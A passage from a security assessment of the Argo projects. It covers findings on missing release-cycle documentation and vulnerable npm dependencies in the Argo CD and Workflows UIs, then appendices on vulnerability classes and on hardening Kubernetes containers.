34. Argo projects do not provide documentation for release cycle Severity: InformationalDifficulty: Low Type: PatchingFinding ID: TOB-ARGO-034 Target: Argo CD, Argo Events, Argo Rollouts, Argo Workflows Description The various projects under review provide tagged releases on GitHub, but there is no documentation on the release cycle of Argo projects. Information such as how long versions are supported, how frequently to expect releases, and any other relevant information is not available or not available in a centralized location. Examples of open source projects with this type of documentation include: •Kubernetes •Redis •Linux kernel Recommendation Short term, consider providing release cycle documentation for end users. © 2021 HashEye Argo Security Assessment | 62

35. Packages with security vulnerabilities in Argo-CD and Argo Workflows UI Severity: MediumDifficulty: Low Type: PatchingFinding ID: TOB-ARGO-035 Target: Argo CD UI and Argo Workflows UI Description The Argo CD UI and Argo Workflows UI projects use outdated and insecure dependencies that have high and critical vulnerabilities. Using outdated libraries may allow attackers to easily exploit known vulnerabilities if the problematic code paths were used within the project. The full list of vulnerable packages can be seen by invoking the npm audit tool within the respective ui directory of the Argo Workflows or Argo CD project. Figure 35.1 shows an excerpt with only the summary of the npm audit invocation in those projects. Figure 35.1:

Executing npm audit in Argo Workflows and Argo CD ui directories. Recommendation Short term, update the dependencies in Argo Workflows UI and Argo CD UI projects which contain known vulnerabilities shown by the npm audit tool. Long term, add the npm audit tool to the CI of Argo Workflows and Argo CD projects to scan their frontend dependencies for insecure packages. Alternatively use GitHub's Dependabot to scan for and automatically suggest packages updates.

```
~/argo-workflows/ui $ npm audit --level=moderate 61 vulnerabilities found - Packages audited: 1651 Severity: 28 Low | 13 Moderate | 19 High | 1 Critical □ Done in 2.15s.
```

```
~/argo-cd/ui $ npm audit --level=moderate 40904 vulnerabilities found - Packages audited: 1644 Severity: 40878 Low | 18 Moderate | 8 High □ Done in 6.55s. © 2021 HashEye Argo Security Assessment | 63
```

A. Vulnerability Classifications

Vulnerability Classes	Class Description	Access
Controls Related to authorization of users and assessment of rights	Auditing and Logging Related to auditing of actions or logging of problems	Authentication Related to the identification of users
Configuration Related to security configurations of servers, devices or software	Cryptography Related to protecting the privacy or integrity of data	Data Exposure Related to unintended exposure of sensitive information
Data Validation Related to improper reliance on the structure or values of data	Denial of Service Related to causing system failure	Error Reporting Related to the reporting of error conditions in a secure fashion
Patching Related to keeping software up to date	Session Management Related to the identification of authenticated users	Timing Related to race conditions, locking or order of operations
Undefined Behavior Related to undefined behavior triggered by the program	Severity Categories	Severity Description
Informational	The issue does not pose an immediate risk, but is relevant to security best practices or Defense in Depth	Undetermined
The extent of the risk was not determined during this engagement	Low	The risk is relatively small or is not a risk the customer has indicated is important
Medium	Individual user's information is at risk, exploitation would be bad for client's reputation, moderate financial impact, possible legal implications for client	© 2021 HashEye Argo Security Assessment 64

High Large numbers of users, very bad for client's reputation, or serious legal or financial implications

Difficulty Levels	Difficulty Description
Undetermined	The difficulty of exploit was not determined during this engagement
Low	Commonly exploited, public tools exist or can be scripted that exploit this flaw
Medium	Attackers must write an exploit, or need an in-depth knowledge of a complex system
High	The attacker must have privileged insider access to the system, may need to know extremely complex technical details or must discover other weaknesses in order to exploit this issue

© 2021 HashEye Argo Security Assessment | 65

B. Hardening containers run via Kubernetes This appendix gives more context for the hardening of containers spawned by Kubernetes. Please note our specific definitions for the following terms:

- “Container”—the isolated “environment” created by Linux features such as namespaces, cgroups, Linux capabilities, and AppArmor and Seccomp profiles. Here, we refer to Docker containers since the tested environment used Docker as its container engine.
- “Host”—the unconfined environment on the machine running a container, e.g., a process run in global Linux namespaces.

Root inside container Unless user namespaces are used, which allow for remapping user and group ids between the host and a container, the root user inside the container is the same root user as the one on the host. In a default configuration of Docker containers the root user is limited in which actions it can take by container features. However, if a process doesn't need to be run as root, it is recommended to run it from another user. To run a container with another user, use the “USER” Dockerfile instruction. In Kubernetes, one can specify the user id (UID) and various group ids (primary - GID, file-system related and supplemental groups) by the “runAsUser”, “runAsGroup”, “fsGroup,” and “supplementalGroups” attributes of a “securityContext” field of a Pod or other objects that are used to spawn containers. Dropping Linux capabilities Linux capabilities split the privileged actions that a root user's process can perform. Docker drops most Linux capabilities for security purposes, but leaves others enabled for convenience. We recommend dropping all Linux capabilities and then enabling only those necessary for the application to function properly. Linux capabilities can be dropped in Docker via the “--cap-drop=all” flag and in Kubernetes by specifying “capabilities,” “drop,” and “-all” in the “securityContext” key of the deployment's container configuration. Then, necessary capabilities can be restored via “--cap-add=<cap>” flags in a docker run or by specifying them in “capabilities,” and “add” in the “securityContext” field in the Kubernetes object manifest. © 2021 HashEye Argo Security Assessment | 66

NoNewPrivs flag The NoNewPrivs flag disallows any additional privileges for a process or its children. For example, it prevents UID/GID from gaining capabilities or privileges by executing setuid binaries. The NoNewPrivs flag can be enabled in a docker run via the --security-opt=no-new-privileges flag. In a Kubernetes deployment, this is done by specifying “

allowPrivilegeEscalation: false" in the "securityContext." Seccomp policies A secure computing (seccomp) policy limits the available system calls and their arguments. Normally, using seccomp requires calling a prctl syscall with a special structure, but Docker simplifies it and allows for specifying a seccomp policy as a JSON file. The default Docker profile is a good start for implementing a specific policy. Seccomp is disabled by default in Kubernetes. The seccomp policy can be specified with a "--security-opt seccomp=<filepath>" flag in Docker. In Kubernetes, the seccomp policy can be set either by using a "seccompProfile" key in the "securityContext" of a Pod (in Kubernetes v1.19 or later), or, by using the container.seccomp.security.alpha.kubernetes.io/<container_name>: <profile_ref> annotation (in pre-v1.19 version). The Kubernetes docs show an example for both versions on setting a specific seccomp policy. Linux Security Module (AppArmor) LSM is a mechanism that allows kernel developers to hook various kernel calls. AppArmor is an LSM used by default in Docker. Another popular LSM is SELinux, but since it is harder to set up, we won't discuss it here. AppArmor limits what a process can do as well as the resources a process can interact with. Docker uses its default AppArmor profile, which is generated from this template. When Docker is used as a container engine in Kubernetes, the same profile is often used by default, depending on the Kubernetes cluster configuration. One can override the AppArmor profile in Kubernetes with the following annotation (which is further described here):

container.apparmor.security.beta.kubernetes.io/<container_name>: <profile_ref> © 2021

HashEye Argo Security Assessment | 67